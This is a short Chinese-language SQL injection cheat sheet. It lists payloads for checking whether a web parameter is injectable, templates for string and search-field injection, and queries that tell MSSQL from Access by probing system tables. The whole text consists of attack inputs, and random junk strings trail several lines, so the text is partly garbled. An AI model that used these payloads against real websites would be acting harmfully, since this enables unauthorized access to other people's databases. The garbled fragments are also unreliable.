1.判断是否有注入;and 1=1 ;and 1=2 f5p>oXo4b
2.初步判断是否是mssql ;and user>0
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3.注入参数是字符'and [查询条件] and ''=' aH7i$U&
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' dqd:V$o
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5.判断数据库系统 v%gkQa
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;and (select count(*) from sysobjects)>0 mssql >2Z0XEe
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;and (select count(*) from msysobjects)>0 access "9W]TG
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